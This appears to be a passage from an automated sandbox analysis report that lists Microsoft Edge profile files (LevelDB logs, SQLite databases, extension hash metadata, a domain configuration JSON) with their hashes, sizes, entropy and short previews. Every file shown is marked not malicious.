File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1017179317180155
Encrypted:	false
SSDEEP:	6:1CmN+q2PN723oH+Tcwt9Eh1tIFUt8kC4ZZmw+kCEJVkwON723oH+Tcwt9Eh15LJ:EPvVaYeb9Eh16FUt8Pk/+PE35OaYeb9O
MD5:	671283A97FCF0B46F8229FF720C6CCFF
SHA1:	7401DDC37456E7378755D0ADBBAD8C31B4E7CBBB
SHA-256:	D79846DF2C48E4F403A2973BA60C98BABD446B19BDCA474CC9EE497283A782EB
SHA-512:	1DAA5E72CF2385163E02668656B72723C2B010EF04245851272B38D6DFF4A114B984E352D61911264D9EE8CEDF856440930468E35A3D8D7A643A9C7B6CD5A1EF
Malicious:	false
Preview:	2024/10/27-21:07:33.801 2178 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/27-21:07:33.803 2178 Recovering log #3.2024/10/27-21:07:33.850 2178 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46235625134156955
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBus2:TouQq3qh7z3bY2LNW9WMcUvBuj
MD5:	E1376582715B7FB1C6A0C8B5BDB5C592
SHA1:	58807889766E9A392D030D4E330AAFEF35147D19
SHA-256:	0D93F1B77A3E80862AB8D0FDFA3FDD9A4975AA770DD5272E6A8AC1ED48A3774E
SHA-512:	871C13C9071C31A998607A3E7E150BB13B5E4DF06C532CC650A725D2C921356F78D2B931D5B90A3B5D78331A3DFE0E4B9D7F4414ED58E80F7EB8F75654F9FD37
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.192419325158468
Encrypted:	false
SSDEEP:	6:1s+GFlWM+q2PN723oH+TcwtnG2tMsIFUt8ksxVo1Zmw+ksxV+WMVkwON723oH+TR:kL+vVaYebn9GFUt8n4/+nYLV5OaYebnB
MD5:	2F6FB4DE40FF5EBFD46B629B13F1F57B
SHA1:	0423B795568F2909DCD451D2DCFB430469A1B21D
SHA-256:	A2FF6F63E51FFF6DF9E4145A4062E5C80AF9D05066224104920EAE1FC37A42B3
SHA-512:	3549144F4461CDFF3A0025ED093DAE54C2B0336505061B249770BAE6C9743ED1C6DEF935CA085D2F553B9B9EFE050EEFE914A00AF29BE975B54AAE1E8379C6F4
Malicious:	false
Preview:	2024/10/27-21:07:29.482 1f1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/27-21:07:29.483 1f1c Recovering log #3.2024/10/27-21:07:29.483 1f1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.192419325158468
Encrypted:	false
SSDEEP:	6:1s+GFlWM+q2PN723oH+TcwtnG2tMsIFUt8ksxVo1Zmw+ksxV+WMVkwON723oH+TR:kL+vVaYebn9GFUt8n4/+nYLV5OaYebnB
MD5:	2F6FB4DE40FF5EBFD46B629B13F1F57B
SHA1:	0423B795568F2909DCD451D2DCFB430469A1B21D
SHA-256:	A2FF6F63E51FFF6DF9E4145A4062E5C80AF9D05066224104920EAE1FC37A42B3
SHA-512:	3549144F4461CDFF3A0025ED093DAE54C2B0336505061B249770BAE6C9743ED1C6DEF935CA085D2F553B9B9EFE050EEFE914A00AF29BE975B54AAE1E8379C6F4
Malicious:	false
Preview:	2024/10/27-21:07:29.482 1f1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/27-21:07:29.483 1f1c Recovering log #3.2024/10/27-21:07:29.483 1f1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6139495750260029
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jN52pWGmL:TO8D4jJ/6Up+F
MD5:	740391904F061A617B9E3D40E8200E8C
SHA1:	D5F10815430FA63E6D3C0F9DB3638BA2956EA0A8
SHA-256:	B2573B2641B9A68F1C2190F60C0E0212E3745632322AB5F8850844DD8141EA1D
SHA-512:	08859DA75416F5BC42D722BCD0D0661492788118DE23C1FCF5A248EAF3DD5F3ACB1848D432732955CD4D41C906E8B53CCE44948D48FD5DAAD78F9E5E350267B9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354127255320062
Encrypted:	false
SSDEEP:	6144:6A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:6FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	406B1D34A7D487E4F0A611B75BBDED9B
SHA1:	E7C13F378D839197F918EBC8C8C8AAD647664273
SHA-256:	CA1CE96CDF8E0934AF77227F351ABA7137A4E5B4D16977B8CC9097AA953116D5
SHA-512:	724CC1F409A4DBE06636F76DE21FB7134EA5FD0366BE9B772C88B61AF327DC98412215CD5D9E8E1DB4DE99B092D96B84977BA452F02EDF5844BCC1DA732512EF
Malicious:	false
Preview:	...m.................DB_VERSION.1...+q...............&QUERY_TIMESTAMP:domains_config_gz2...13374551255192506..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.1563538518066485
Encrypted:	false
SSDEEP:	6:1ChQq1N723oH+Tcwtk2WwnvB2KLljCE+q2PN723oH+Tcwtk2WwnvIFUv:EhQaaYebkxwnvFLsZvVaYebkxwnQFUv
MD5:	04A1904F45E80D65455CCC407F8FDDD2
SHA1:	0BC45308DE42BE712E391E7AD9335B78962A80B7
SHA-256:	E14E96919F9047458293612C5E9D75F33FF01191F015A840F18580C279178509
SHA-512:	71B87347246FD1451C9DEF6C0324866132176127603616345A1CE229CBB5E95FA2351AF01BFCD6451C2934979DEBF4E6999F21F7AC1F6AF6292351A0800A73BF
Malicious:	false
Preview:	2024/10/27-21:07:33.779 2188 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/27-21:07:33.884 2188 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246078895249935
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Re:C1gAg1zfvm
MD5:	7F390BD3D6F565169CA6DFFD009F0DF4
SHA1:	16ABC1098B1CC17F64DE41CA5B9A390C27ABA3C7
SHA-256:	B374AF98D38E01A11AB6C7E8073AA41F31811B15298AB7F84CEA19C3B06E0B2A
SHA-512:	129CA385155141CA71BCDDA7F2037B8340596B894BDAA3ED725ADFECA82D2F295181AF952201BF173EE70DAD5DF707250AF198CB31390BBF35783FBB264E7DD6
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.097596330091111
Encrypted:	false
SSDEEP:	6:1s/rVq2PN723oH+Tcwt8aPrqIFUt8ksR2gZmw+ksR2IkwON723oH+Tcwt8amLJ:YVvVaYebL3FUt8f2g/+f2I5OaYebQJ
MD5:	DAC7B86C9824C83728EF6CE1A3AEFD2D
SHA1:	B55225F415C91AD9D1CDC14885DB0411C624FF2F
SHA-256:	8D6100B8D28DF84E6EF7DB6184A2A290D69074DFB83C69703DF70E2B18EDA513
SHA-512:	77D6A8FFB5C2A979DD1188034FEAA9CC44EAF901E362B7BEB07B30E60178ED30BD20E16529B9DFB80E83494BA0E3FD1B6DFAB6E5E0D118093C736EB0AF5B71D3
Malicious:	false
Preview:	2024/10/27-21:07:29.441 1f04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/27-21:07:29.442 1f04 Recovering log #3.2024/10/27-21:07:29.442 1f04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.097596330091111
Encrypted:	false
SSDEEP:	6:1s/rVq2PN723oH+Tcwt8aPrqIFUt8ksR2gZmw+ksR2IkwON723oH+Tcwt8amLJ:YVvVaYebL3FUt8f2g/+f2I5OaYebQJ
MD5:	DAC7B86C9824C83728EF6CE1A3AEFD2D
SHA1:	B55225F415C91AD9D1CDC14885DB0411C624FF2F
SHA-256:	8D6100B8D28DF84E6EF7DB6184A2A290D69074DFB83C69703DF70E2B18EDA513
SHA-512:	77D6A8FFB5C2A979DD1188034FEAA9CC44EAF901E362B7BEB07B30E60178ED30BD20E16529B9DFB80E83494BA0E3FD1B6DFAB6E5E0D118093C736EB0AF5B71D3
Malicious:	false
Preview:	2024/10/27-21:07:29.441 1f04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/27-21:07:29.442 1f04 Recovering log #3.2024/10/27-21:07:29.442 1f04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.155842310088303
Encrypted:	false
SSDEEP:	6:1sft+q2PN723oH+Tcwt865IFUt8ksf5Zmw+ksftVkwON723oH+Tcwt86+ULJ:5vVaYeb/WFUt8//+t5OaYeb/+SJ
MD5:	EA05E61F390AC4F3BE6FE1B375BCAAEA
SHA1:	0D24A889F407B772D54C1C223052339CC9AB40B6
SHA-256:	95C38C34AA09DE6EDAF52C9245C58853FB92EB58947837EA9F16FD51481B46D1
SHA-512:	22F328284B266E1E6CAB9AA59E2E5027140AB1536A091773DFA3F1B060F52C9A3C40261EA5D72F426E78E9FDA074B66D30BEF8F373572EE1CD646FDF3020E48C
Malicious:	false
Preview:	2024/10/27-21:07:29.497 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/27-21:07:29.497 1f28 Recovering log #3.2024/10/27-21:07:29.497 1f28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.155842310088303
Encrypted:	false
SSDEEP:	6:1sft+q2PN723oH+Tcwt865IFUt8ksf5Zmw+ksftVkwON723oH+Tcwt86+ULJ:5vVaYeb/WFUt8//+t5OaYeb/+SJ
MD5:	EA05E61F390AC4F3BE6FE1B375BCAAEA
SHA1:	0D24A889F407B772D54C1C223052339CC9AB40B6
SHA-256:	95C38C34AA09DE6EDAF52C9245C58853FB92EB58947837EA9F16FD51481B46D1
SHA-512:	22F328284B266E1E6CAB9AA59E2E5027140AB1536A091773DFA3F1B060F52C9A3C40261EA5D72F426E78E9FDA074B66D30BEF8F373572EE1CD646FDF3020E48C
Malicious:	false
Preview:	2024/10/27-21:07:29.497 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/27-21:07:29.497 1f28 Recovering log #3.2024/10/27-21:07:29.497 1f28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.110123291296359
Encrypted:	false
SSDEEP:	6:1gEq2PN723oH+Tcwt8NIFUt8kglZmw+kgvoFkwON723oH+Tcwt8+eLJ:KEvVaYebpFUt8Dl/+DwF5OaYebqJ
MD5:	B4CF8BF793C9BB892045AEA73DA0F80D
SHA1:	AA7349A72618CE8A44E5F0C99DBC8F65F2930BDA
SHA-256:	434B027498DC79BF5DA7E2B86CD2EF42C5C4C79F7CD1B11FD44F6D4E36BA57C6
SHA-512:	9F4EE508C89FA0CDA88A25199660AFF49EE553837AEFF8DE9E942DEE376323A3A26E29128FC7DC05DE737908E9600C823698C2F97F9C15D31B3D060F8BC5936A
Malicious:	false
Preview:	2024/10/27-21:07:30.181 1884 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/27-21:07:30.181 1884 Recovering log #3.2024/10/27-21:07:30.182 1884 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.110123291296359
Encrypted:	false
SSDEEP:	6:1gEq2PN723oH+Tcwt8NIFUt8kglZmw+kgvoFkwON723oH+Tcwt8+eLJ:KEvVaYebpFUt8Dl/+DwF5OaYebqJ
MD5:	B4CF8BF793C9BB892045AEA73DA0F80D
SHA1:	AA7349A72618CE8A44E5F0C99DBC8F65F2930BDA
SHA-256:	434B027498DC79BF5DA7E2B86CD2EF42C5C4C79F7CD1B11FD44F6D4E36BA57C6
SHA-512:	9F4EE508C89FA0CDA88A25199660AFF49EE553837AEFF8DE9E942DEE376323A3A26E29128FC7DC05DE737908E9600C823698C2F97F9C15D31B3D060F8BC5936A
Malicious:	false
Preview:	2024/10/27-21:07:30.181 1884 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/27-21:07:30.181 1884 Recovering log #3.2024/10/27-21:07:30.182 1884 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21810997314429553
Encrypted:	false
SSDEEP:	3:OlRlntFlljq7A/mhWJFuQ3yy7IOWUzdl/dweytllrE9SFcTp4AGbNCV9RUIyS:YG75fOln/d0Xi99pEY/
MD5:	01A579C500E4A3FD9FA1529693FE4F67
SHA1:	61EF380A3BC3EDA8D95D9CA2B44FA8B0EF6A50D8
SHA-256:	8E2B03C4205D4E302E75D2F5A45811710139043000B4743EAE30F99501C06EFA
SHA-512:	6689FE2044DDAB0DB7E9A83CFCA8D401022D809439C7F5D6D0694DC08D0716BDDE17BC871628528BD65A5E471B01C67B22B90E779BB6921033DD2C0CC25961ED
Malicious:	false
Preview:	...................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
